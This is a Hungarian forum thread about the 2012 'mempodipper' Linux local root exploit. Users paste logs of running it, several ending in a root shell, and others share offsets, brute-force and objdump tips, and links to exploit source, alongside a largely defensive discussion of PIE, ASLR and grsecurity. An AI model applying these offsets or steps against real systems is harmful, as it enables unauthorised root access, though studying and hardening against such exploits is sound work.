mempodipper - Linux local root exploit szabadon

 ( trey | 2012. január 23., hétfő - 14:03 )

[ mempodipper | részletek | sebezhető verziók: Linux kernel >=2.6.39 | fix commit ]

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

ubuntu@server-33367:~$ uname -a
Linux server-33367 3.0.0-12-virtual #20-Ubuntu SMP Fri Oct 7 18:19:02 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
ubuntu@server-33367:~$ whoami
ubuntu
ubuntu@server-33367:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/815/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x4021d8.
[+] Calculating su padding.
[+] Seeking to offset 0x4021cc.
[+] Executing su with shellcode.
# whoami
root
#

--
trey @ gépház

Aha... azért nem mindenhol megy...

kedz@hws ~ $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/32428/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178
kedz@hws ~ $ uname -a
Linux hws 3.1.5-gentoo #1 SMP Tue Dec 13 13:02:54 CET 2011 i686 Intel(R) Atom(TM) CPU 330 @ 1.60GHz GenuineIntel GNU/Linux

nalam ugyanez.

Linux batyu 3.1.6-gentoo #1 SMP Mon Jan 2 13:00:09 CET 2012 x86_64 Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz GenuineIntel GNU/Linux

t

Ohh, micsoda hostnév! :-D

:D

ugyanez. Nem működik.:

------ek@daemon ~ $ uname -a
Linux daemon 3.1.6-gentoo #1 SMP Fri Dec 30 23:09:36 CET 2011 x86_64 Intel(R) Core(TM) i5-2500 CPU @ 3.30GHz GenuineIntel GNU/Linux
ek@daemon ~ $ whoami
ek
ek@daemon ~ $ ./memd
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3925/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./memd -o ADDRESS
[-] Example: ./memd -o 0x402178
ek@daemon ~ $ whoami
ek
ek@daemon ~ $

viszont a megadott paraméterrel:
./memd -o 0x402178
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3961/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x402162.
[+] Executing su with shellcode.
sh-4.1# whoami
root
sh-4.1# exit
exit
ek@daemon ~ $

Szóval nem fenékig tejfel.

3 fajta matematikus létezik. Aki tud számolni, és aki nem.

ugye ezt a "megadott paramétert" csak viccnek szántad?:)

hát de működött, bevált, nem?! :D

:DDD
Vannak még isteni csodák:D Bár ezzel csak a kernel esett a szememben mégnagyobbat:D

Lásd fentebb, ennek az oka az, hogy a distrok nagy része úgy fordítja a su-t, hogy nem változik a base address. Miért is tették volna, hiszen nem shared library (most tán átgondolják). Persze nyilván az egésznek a kernel bug az oka, de a fenti "magic number" működése meg emiatt van.

---
;-(

Viszonylag egyszerű megnézni, hogy melyik rendszeren készül alapból PIE bináris fordításkor/linkeléskor és randomizálja-e a kernel:

echo 'main(){printf("%p\n",&main);}'>p.c&&cc p.c -o p&&./p;./p;./p;./p

Ha itt négy azonos offset cím látható, akkor nem készül PIE és/vagy nem randomizálja a kernel, ha különbözőek, akkor PIE készül és randomizálja is (vagy pedig PaX patchelt kernel van és a RANDEXEC funkciója még a nem relokálható futtatható binárisokat is randomizálja).

Windows a Vista óta (2006), MacOS X a Lion óta (2011) támogatja ezt rendesen. Linux disztribúciók közül ha jól tudom még mindig egyedül csak a Hardened Gentoo fordít alapból PIE binárisokat.

A `file` vagy a `readelf -h {file}` segítségével megállapítható, hogy az adott bináris mire lett fordítva (sima EXEC vagy DYN).

Ez alapján a Fedora16 próbálkozik, de a suid binárisok fele non-PIE:

# find / -perm +4000 -type f 2>/dev/null |xargs file -N|\
 awk -F: '/LSB executable/{print "exe "$1} /LSB shared/{print "PIE "$1}'|sort
exe /bin/fusermount
exe /lib64/dbus-1/dbus-daemon-launch-helper
exe /sbin/mount.ecryptfs_private
exe /usr/bin/chage
exe /usr/bin/crontab
exe /usr/bin/gpasswd
exe /usr/bin/newgrp
exe /usr/bin/passwd
exe /usr/bin/pkexec
exe /usr/bin/Xorg
exe /usr/lib64/chromium-browser/chrome-sandbox
exe /usr/lib64/nspluginwrapper/plugin-config
exe /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
exe /usr/libexec/kde4/kpac_dhcp_helper
exe /usr/libexec/polkit-1/polkit-agent-helper-1
exe /usr/libexec/pulse/proximity-helper
exe /usr/sbin/ccreds_chkpwd
exe /usr/sbin/mount.davfs
exe /usr/sbin/userhelper
PIE /bin/mount
PIE /bin/su
PIE /bin/umount
PIE /sbin/mount.nfs
PIE /sbin/pam_timestamp_check
PIE /sbin/unix_chkpwd
PIE /usr/bin/at
PIE /usr/bin/chfn
PIE /usr/bin/chsh
PIE /usr/bin/ksu
PIE /usr/bin/staprun
PIE /usr/bin/sudo
PIE /usr/bin/sudoedit
PIE /usr/sbin/usernetctl

Úgy látom, hogy náluk csak ajánlás van a suid binárisok PIE-zésére, bár ez is csak draft még. Pedig szép lett volna ha rajtuk nem fog ez az exploit, ha már "Fedora is the thought and action leader in many of the latest Linux security initiatives." [1].

Ez alapján a Fedora16 próbálkozik, de a suid binárisok fele non-PIE

Ezért készítettek az exploitból a fedorához egy külön verziót, ahol a su-t lecserélték gpasswd-re és már ment is, mint a karikacsapás.

Úgy látom, hogy náluk csak ajánlás van a suid binárisok PIE-zésére

Pedig ráadásul nagyon helyesen leírják, hogy igazából nem csak a suid binárisoknál kellene használni, hanem minden olyan alkalmazásnál, amelyik priviégiummal fut (rootként, vagy valamilyen capabilityvel), vagy nem megbízható bemenetet fogad vagy dolgoz fel. Tehát az apache-tól a dhclient-en át a syslogd-ig nem ártana mindent így fordítani.

Jópáran nem értenek ebben egyet velem, de én azt szoktam mondani, hogy még az `ls` sem baj, ha PIE-nak van fordítva, mert egyes esetekben az is támadási felület lehet. (Pl. jópár ftp szerver nem saját, belső ls implementációt kínál a távoli ftp klienseknek a file listázáshoz, hanem a rendszer ls paranccsát futtatja és annak adja át a klienstől érkező paramétereket... ergo támadható és egy ls-ben kevésbé keresnek biztonsági hibát, mint egy su-ban ;)

"Fedora is the thought and action leader in many of the latest Linux security initiatives."

Marketingben jobbak, mint securityben. :)

Jelenleg szerintem a Hardened Gentoo grsec/PaX kernellel, PIE binárisokkal és secure-by-default beállításokkal az egyetlen biztonságosnak mondható disztro.

"Jópáran nem értenek ebben egyet velem..."
PIE-al fordításnak milyen hátránya van, vagy miért nem értenek veled egyet?

PIE binárisok egy kicsit lassabban indulnak és lassabban futnak, meg néhány program nem fordul vagy nem működik helyesen PIE esetén (de ez eléggé ritka és ott a programot kellene javítani, nem a PIE a hibás)

Értem, köszi.

Juj, a másik linken ezt a dumát csak most láttam:

"PIE is an Exec-Shield technology"

Ez mekkora hazugság már, te jó ég. Csoda, hogy nem szakad rájuk az ég...

A PIE-t (ET_EXEC helyett ET_DYN ELF futtatható binárisok a randomizált base address érdekében) - úgy ahogy az egész ASLR megoldást - a PaX Team találta ki valamikor a 2000-es évek elején.

Ez a randomizálás mennyire okoz memória-fragmentációt, és teljesítményesést (első blikkre azt modanám, hogy sok memóriaműveletnél foglal/felszabadít főleg igen komolyat)? Mert az ok, hogy biztonságosabb, de ha sok teljesítmény bukok a dolgon, akkor (nekem) egyáltalán nem éri meg kvázi "desktop-ra". Inkább megvédem a gépet máshogy.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Attól függ melyik randomizálás, az ASLR több külön részből áll.

Hogyan véded meg a gépedet máshogy? ;)

Az én esetemben pl lehúzom a hálózatról, és nem engedek senki mást belépni csak jómagam, vagy a tüzfalon minden kintről érkező kérést dobok. Alapvetően az én munkám olyan, hogy nem kell hozzá hálózat de még csak másik ember sem :). Elismerem ez erősen speciális eset.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

és amikor nincs lehúzva a hálózatról?

Ha nagyon kritikus lenne dolog, akkor live-linux korong. Az úgyis csak olvasható. De van egy routerem (NEM RÖHÖGNI :)) amin van egy viszonylag jó tűzfal, viszont ha kellene akkor egy dedikált tűzfalat vásárolnék, célhardvert. Én mindig annak a híve voltam, hogy a biztonságról egy olyan gép gondoskodjon aminek csak ez a feladata. Kritikus esetben mindenképp dedikált hardveres tűzfalat használnék. Annyira meg otthon vagyok hálózatban, hogy azt jól beállítsam. Max még olvasnom kellene egy keveset.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Es hogyan bizonyosodsz meg arrol, h a router fw-ben es/vagy a celhardverben nincs szandekolt vagy veletlen backdoor ? :)

---
pontscho / fresh!mindworkz

Úgy, mint ahogy biztos vagy abban, hogy nincs az adott rendszerben kritikus biztonsági hiba. Bízol benne.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Se a routereden lévő tűzfalad, se egy külön vásárolt csoda dedikált "hardveres" (LOL) tűzfal sem fog megvédeni attól, hogy a böngésződben, a levelező kliensedben, a pdf olvasódban vagy az office alkalmazásodban található biztonsági hibát kihasználják és hozzáférést szerezzenek a gépeden.

Ami segíteni tud, az az ilyen jellegű proaktív biztonsági megoldások, amelyek prevenciós technikákat felhasználva ellehetetlenítik, vagy nagy mértékben megnehezítik a szoftverekben található sebezhetőségek kihasználását.

De cserébe, egy csomó erőforrást bukok, ha komoly erőforrást igénylő szoftvert kell futtatni.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Az a csomó erőforrás leginkább néhány százalék teljesítményvesztés, amelynél jóval többet buksz el egy háttérben futó, rosszul megírt alkalmazásnál (antivirus, personal firewall, ilyen-olyan agentek, update figyelők, stb.)

Egyébként ha akkora erőforrás igénye lenne, akkor az Apple nem vezette volna be iOS 5-nél az NX-et, a teljes ASLR-t (PIE-szerű base randomizálással) és a PaX-like mprotect resztrikciókkal (futásidejű kódgenerálás ellehetetlenítésére), mert egy mobil eszközben lévő ~1GHz-es ARM processzornál sokkal inkább látszana a teljesítmény vesztés, mint egy 3 GHz-es sok magos x86 processzorral rendelkező desktop gépnél.

Kipróbálom. Van 1-2 több óráig futó (ami lényegtelen) szimulációm, ami tömkelegével dobja, és hívja a pointertömböket. Lefordítom pie-vel és nélküle. Írok majd futási időt. Kíváncsivá tettél.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Ok, én is kiváncsi vagyok, kevés ilyen jellegű mérés van.

Köszi, megint tanultam valamit. Azt nem értem, hogy van valami különös oka, hogy ezt nem használják a Linux terjesztésekben (nagy részükben)? Van
valami performance penalty vagy egyszerűen csak nem jutott eszébe senkinek?

SZERK: Megtaláltam lejjebb, bocs

---
;-(

Erősen programkód függő, néhány százalék teljesítmény veszteséget okozhat, de tipikusan az ilyen suid binárisoknál, mint a `su` és társainál abszolút nincs jelentősége. Még akkor se venne észre lassulást a felhasználó, ha 200%-al lenne lassabb.

a fraszt nem venne eszre, 200%-kal lassabb lenne a brute force ;).

de azt sem a felhasználó venné észre... :D

Tényleg. Ilyet brute force elleni védelem nincs? pl másodpecenként mondjuk max 1 su engedélyezett? így brute-forceolni szinte lehetetlen lenne.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Ennél a konkrét hibánál vagy úgy egyébként?

A jelenleginél nincs jelentősége, hisz eleve az exploit arra játszik, hogy a su hibát dobjon és ne is kérjen jelszót (nem létező felhasználónévvel paraméterezve hívja meg a su-t).

Persze itt tiszta sor, hogy nem használ, hisz elsőre működik, és megvan a root-shell, de alapjában véve létezik?

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Nem, a su-ban külön nincs. A PAM-ban van 1998 óta PAM_FAIL_DELAY, amely "várakoztatásra" van, de ha nincs olyan policy mellé rakva, amely bizonyos számú hibás authentikáció után kitiltja az adott felhasználót, akkor ez kevés a boldogsághoz, hiszen a várakoztatás önmagában nem elég ahhoz, hogy ne lehessen több szálon, akár több ezer párhuzamos su futtatással viszonylag sok jelszót kipróbálni rövid időn belül...

Lásd: apt-get install sucrack ;)

Milyen az, amikor a su hátrafelé fut? :D


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Vagy a matek nem erős oldalad, vagy tényleg csak humor?

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Ott volt a smiley. Az viszont valóban kérdés, ennek a 200 %-nak mi az alapja. Szerintem ezt lehet így nézni:

v1 = v0 * (1 - 200/100) = -v0


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Ki mondta, hogy 200%?

Hunger.


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Hunger írta:
Erősen programkód függő, néhány százalék teljesítmény veszteséget okozhat, de tipikusan az ilyen suid binárisoknál, mint a `su` és társainál abszolút nincs jelentősége. Még akkor se venne észre lassulást a felhasználó, ha 200%-al lenne lassabb.

Remélem segíthettem. :)

Nem lehet :) t1=t0*(1+200/100)=3*t0 Ahol t a futási idő...

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

A "lassabb" kifejezést úgy értelmeztem, hogy a sebességre vonatkozik, nem pedig a futásidőre.


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

es mivel mered egy su sebesseget, ha nem a futasidejevel? ;)

a su által megtett út és az idő hányadosa a su sebessége :D. Na jó kiszálltam metr hülyének fognak nézni (de lehet már elkéstem).

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Aha, és su -c ../../bin/true nobody esetén a megtett út 3, mert kettőt megy felfele a hierarchiában, és egyet le? :)

int getRandomNumber() { return 4; }  // ← aláírás
//szabályos kockadobással választva. garantáltan véletlenszerű.  xkcd

Most arról vitatkozunk, hogy a nevezőben lévő idő paramétert tekintsük-e alapnak, vagy annak reciprokát. Én az utóbbira szavaztam. Különben is poénnak indult, kicsit el lett ez bonyolítva, hasogatva van a szőrszál. Ugyanakkor attól még lehet definiálni sebességet.


tr [:lower:] [:upper:] <<<locsemege
LOCSEMEGE

Miért vicc? Hát nem működik? :) Jó tudom, ez lutri, bejött. De brute-force szerintem menne :) Egyébként ki lehet simán szedni a futtatható kódból, hogy mit kell oda bevésni. Gentoo esetén pont ezt az értéket, ami azért meglep.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

én se olvastam végig, odáig jutottam hogy elsőre nem ment, majd a példával próbálkoztál, azt már nem néztem az sikerült-e, így csak később sírtam fel;D

Én annyit következtettem ki, hogy kipróbálhatta a kódját egy gentoo-n (vagy legalábbis azon a kernelen, gcc-n), és ott kibogarászta pont ezt a példát. Mást nem nagyon tudok elképzelni.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Olvasd el az elemzést is:

su does not have a relocatable .text section (...). It turns out that su on the vast majority of distros is not compiled with PIE, disabling ASLR for the .text section of the binary! (...) The offsets in memory will always be the same.

---
;-(

Ahha. Akkor én is pie-nélkül forgattam, így ezért ,megy a dolog.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Nálam eddig megy:

makay@linux-s873:~> ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7345/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.

Itt megáll és 50%-os CPU terhelést mutat, miközben látszólag semmit sem csinál.
openSUSE 12.1 / Tumbleweed - Linux 3.1.9-2

androbit.org - Informatikai portál és könyvtár

[0:majki@arch] ~ % uname -a                                                           pts/0 | 13:15
Linux arch 3.1.5-1-ARCH #1 SMP PREEMPT Sat Dec 10 14:43:09 CET 2011 x86_64 Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz GenuineIntel GNU/Linux
[0:majki@arch] ~ % whoami                                                             pts/0 | 13:15
majki
[0:majki@arch] ~ % ./mempodipper                                                      pts/0 | 13:15
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1315/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401ab8.
[+] Calculating su padding.
[+] Seeking to offset 0x401aaf.
[+] Executing su with shellcode.
[125:majki@arch] ~ % whoami                                                           pts/0 | 13:15
majki
[0:majki@arch] ~ % 

--

0:majki@arch] ~ % uname -a                                                           pts/0 | 13:29
Linux arch 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Intel(R) Core(TM) i5-2415M CPU @ 2.30GHz GenuineIntel GNU/Linux
[0:majki@arch] ~ % whoami                                                             pts/0 | 13:29
majki
[0:majki@arch] ~ % ./mempodipper                                                      pts/0 | 13:29
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/610/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a57.
[+] Executing su with shellcode.
zsh: segmentation fault  ./mempodipper
[139:majki@arch] ~ % whoami                                                           pts/0 | 13:29
majki
[0:majki@arch] ~ % 

--
HUPbeszolas FF extension

+1 same here

openSUSE 3.1.0-1.2-desktop x86_64

$ ./mempodipper.bin
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6936/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x25e0.
[+] Calculating su padding.
[+] Seeking to offset 0x25d7.
[+] Executing su with shellcode.
su: user H1ÿ°iH1ÿ°j@·@¶°!H»//bin/shHÁSH‰çH1Ûf»-iSH‰áH1ÀPQWH‰æH1Ò°; does not exist
^[[?1;2c^[[?1;2c^[[?1;2c^[[?1;2c$ 1;2c1;2c1;2c1;2c

nalad a su egy PIE, amit a kernel randomizal is valoszinuleg, egyiket se veszi figyelembe ez az exploit.

De egy jobban megírt exploittal az ő rendszerén is működne, ugye?

ha nincs egyeb vedelem, akkor igen, ezt az exploitot se lenne nagy munka brute force modon futtatni ;). de pl. PaX alatt az egesz shellcode dolog elvbol halott, ROP payload-dal viszont ott is mukodne, csak azt persze nyilvan tobb munka osszehozni. grsec alatt meg ugye van brute force vedelem, tehat ott meg tobb munka kvazi one-shot exploitot irni.

Tehát grsec alatt is csak a su-nál lehet megfogni a dolgot? Addig elmenne simán a kód?

edit: oké hogy ki kellene próbálni, de most nincs grseces linux a közelemben. :)

--
GPLv3-as hozzászólás.

ize, mar a kerdest se ertem ;). mi az hogy 'addig siman elmenne a kod'? execve(suid)-ig? mert azt onmagaban miert kene megakadalyozni?

execl("/bin/su", "su", shellcode, NULL);

Tehát erre a sorra gondoltam. De gondolom ha már idáig eljutott akkor lazán le is fut innen. Na mindegy valszeg erre csak egy grsec-es kernel meg egy gdb tudja megadni a választ.

--
GPLv3-as hozzászólás.

ne fokozd, mert már potyognak a könnyeim :))

Mi a nyűgöd?

--
GPLv3-as hozzászólás.

hallod, te aztán tényleg giga nagy kóder vagy! ;)

`man 3 execl` meg volt már valaha?

Nem az execl függvényre voltam kíváncsi.

--
GPLv3-as hozzászólás.

dehisz arra hivatkoztál :))

Nem fogtad fel a kérdést.

--
GPLv3-as hozzászólás.

Oh, nyugodtan magyarázd el, mit lehetett rajta félreérteni ;))

Olvasd el még egyszer (figyelmesebben) a mellékszálat.

--
GPLv3-as hozzászólás.

sajnos masodjara mar nem olyan vicces :(

Még mindig várom a magyarázatot, sajnos ez a mellébeszélésed nem segít a helyzeten... ;)

Kár, hogy még mindig nem esett le. :(

--
GPLv3-as hozzászólás.

dehogynem, már rég leesett, hogy csak terelsz ;)

Te terelsz. A kérdésem ott van pontosan, precízen leírva az OP-be.

link:
http://hup.hu/cikkek/20120123/mempodipper_linux_local_root_exploit_szabadon#comment-1408496

Így utólag visszatekintve viszont az öreg rája álláspontra helyezkedtem az ügyben. Akinek biztonság kell, használjon biztonságos kernelt. Az ára ugyanannyi, mint a stock kernelé.

--
GPLv3-as hozzászólás.

A kérdésed annyira pontosan és precízen van leírva, hogy nem csak én, hanem PaXTeam se értette mit akarsz, és ha írnánk ki róla szavazást, akkor valószínűleg még elég sokan mások is arra voksolnának, hogy

"b, WTF?!"

Itt te vagy az egyetlen, aki "nem fog fel" dolgokat. :)

--
"You're NOT paranoid, we really are out to get you!"

lol

--
GPLv3-as hozzászólás.

ahogy elnezem te inkabb maradj az excel fuggvenyeknel helyette ;) ha mar a libc-be hivasokat is igyekszel elkerulni

örök best of;)

http://pastie.org/pastes/3236113

Kezdésnek leltem egy logot igaz ez régebbi kernel. Mindegy a grsec tippet köszi. ^^

--
GPLv3-as hozzászólás.

TPE miatt nem futott, semmi köze a hibához...

Igen ez a végcél: ne fusson.

--
GPLv3-as hozzászólás.

mi ne fusson? :)

ha az execve sikerul, akkor onnan mar egyenes ut az exploit, mivel a vegrehajtott program azzal a kornyezettel dolgozik (adott esetben stderr), amire nem igazan keszitettek fel. TPE-vel csak az olyan exploitokat tudod megakadalyozni, amik direkt execve-t igenyelnek, pl. python/bash/stb alapuakat nem (mintha az fd-n lett volna ehhez is python alapu).

Igen csak elég rémisztő, hogy ilyen pofon egyszerű dolgokkal még mindig lehet támadni. Ezért irányult a kérdésem arra hogy a grseces kernel kivédi-e ezt. A logból úgy néz ki igen.

--
GPLv3-as hozzászólás.

ROTFL, miért mi kellene, hogy már a su se legyen futtatható? :)))

Kubuntu 11.10 i686

ulysses@locris:~$ gcc mempodipper.c -o mempodipper
ulysses@locris:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2284/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049508.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),115(lpadmin),117(admin),122(sambashare),1000(ulysses)
# whoami
root

Benéztem, bocs.

semmiképpen ne hagyjátok abba a kimenetek idemásolgatását
köszi

(rejtett subscribe)

Főleg azokat, amikben az exploit pontosan ugyanúgy lefut, ahogy a fenti videóban.

+1

Szóval mehet nyugodtan tovább.

--
trey @ gépház

na, apu megendedte hogy rosszalkodjatok :D

in after shitstorm

--
NetBSD - Simplicity is prerequisite for reliability

Látom csak ubuntun működik :)
--
HUPbeszolas FF extension

Jessz. A múltkori exploit óta, ami csak bubin nem ment, már annyira vágytam egy működőképesre :)

Hát, ezen is erősen kétsége. Nálam pl. 11.10-en nem működik.

Szerk.: Mondjuk ma csináltam dist-upgrade-et, így lett 3.0.0.15-ös kernel, de a lenti hsz-eket, amelyek pont azt írják, hogy a mai frissítéssel már nem megy, a hsz-ig még nem olvastam.

________________________________________
"The vision of Christ that thou dost see
Is my vision’s greatest enemy."

uname -a
Linux atp 3.2.0-gentoo-r1 #1 SMP PREEMPT Thu Jan 12 14:46:18 CET 2012 x86_64 Pentium(R) Dual-Core CPU E5200 @ 2.50GHz GenuineIntel GNU/Linux
./mempodipper

...
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodiper -o ADDRESS
[-] Example: ./mempodiper -o 0x402178

type su
su egy /bin/su

maradtam userként, únnézki gentoo alatt nem megy alapban.

akinél ez a hiba jelentkezik, azoknál is működni fog, csak kell mellé egy objdump;) (telepítéséhez nem kell root)

van objdump a gépen telepítve, nem az a bibi
objdump egy /usr/bin/objdump

/o\

es a user hasznalhatja is?;)

Akkor miért nem használod? Mi az, hogy nem az a bibi? omg :)
--
HUPbeszolas FF extension

gentoo alatt -rws--x--x az su, azert nem tudja az exploit kiolvasni es azert kell neked kezzel megadni azt a cimet.

aham és a fent említett példa cím az minden usernek működik?

(esetleg updatelhetné az exploitet az ürge hogy ha nem tudja kiolvasni akkor bepróbálja a fix offsetet...)

a fenti peldaval megadva sem ment nekem gentoo-n

--
x-plane :: hu

a példa az tényleg csak példa, viszont ha egy azonos telepítésed van, megtudod nézni az adott címet, utána a célrendszer törhetővé válik

minden rendszeren mas es mas a cim (mivel minden gcc/ld kombinacio kicsit mas binarist allit elo), azert is szeretne az exploit maga megallapitani. tehat marad a 'magad uram, ha szolgad nincsen' megoldas, lehet disasm-ot bongeszni vagy scriptelni egy brute force-ot ;).

minek brute force?:o

hat ha valaki nem tud/akar disasm-ot olvasni, akkor meg mindig marad a favago modszer ;)

meg mindig nem ertem minek disasm es brute force:o

disasm, mert "minden rendszeren mas es mas a cim"

brute force, mert "gentoo alatt -rws--x--x az su"

En kiprobaltam a gentoos gepeimen, es ketfele offset jott elo: 0x402040 es 0x402128
Es ezekkel az ertekekkel mukodik is a mempodipper.

Ez szép és jó, viszont ugye egy exploitnak nem az a lényege, hogy fel tudj törni egy olyan gépet, amihez úgyis van root hozzáférésed, márpedig akkor te sem tudod megnézni kézzel, hogy mi a jó offset. Tehát elméletileg maradna az a megoldás, hogy egy ugyanolyan beállításokkal és ugyanolyan gcc-vel és glibc-vel fordított su-t kellene megnézned, amit már egy script kiddie nem fog tudni megtenni. Szóval lényegében az, hogy az su-t csak a root tudja olvasni magában is megnehezíti a hiba kihasználását.

Az megvan, hogy ez nem csak a su-val működik?
--
HUPbeszolas FF extension

Nem, de ahhoz megint csak fordítani kell, ami megint nem egy olyan feladat, amit egy script kiddie megtesz. Az én érvem csupán annyi volt, hogy aki nem ért hozzá annyira, hogy a meglevő futtatható exploithoz bármit hozzátegyen, az ellen annyi is hatásos tud lenni, ha nem olvasható az su.

Hehe, ez most nagy pofáraesés, mert épp kijött az exploitokból a ptrace verzió, amelynél már nem kell olvasási lehetőség sem a suid binárishoz, hanem ptrace segítségével keresi meg a megfelelő offsetet...

http://hunger.hu/mempodipper.c
http://hunger.hu/hurrdurr.py

Szóval bukott az elméleted. :)

Na, hatalmas "pofáraesés", ha egyszer valamiben tévedek amiatt, mert épp kijött egy olyan ptrace verzió, amiről nem is tudtam. Huhh, remélem soha nem lesz részem nagyobb pofáraesésben.

Vedd észre, az a hozzáállás, hogy "az su-t csak a root tudja olvasni magában is megnehezíti a hiba kihasználását" igazából csak hamis biztonságérzet. Erre próbáltam rávilágítani.

A grsecben meg is jelent tegnap egy új védelmi megoldás, amelynek bekapcsolása esetén csak akkor lehet ptracelni egy adott binárist, ha ahhoz a file rendszerben is van olvasási joga a felhasználónak.

http://grsecurity.net/~spender/ptrace_readexec.diff

Ez tovább nehezíti az információ szerzést az ismeretlen binárisokról.

eddig még sose dupláztam

ksgy@szamoca ~ $ uname -a
Linux szamoca 2.6.37-gentoo-r4 #1 SMP Tue May 10 10:56:25 CEST 2011 x86_64 Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz GenuineIntel GNU/Linux
ksgy@szamoca ~ $ whoami 
ksgy
ksgy@szamoca ~ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/31513/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178

ksgy@mormota:~$ uname -a
Linux mormota 3.0.0-14-generic #23-Ubuntu SMP Mon Nov 21 20:34:47 UTC 2011 i686 i686 i386 GNU/Linux
ksgy@mormota:~$ whoami
ksgy
ksgy@mormota:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/5302/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
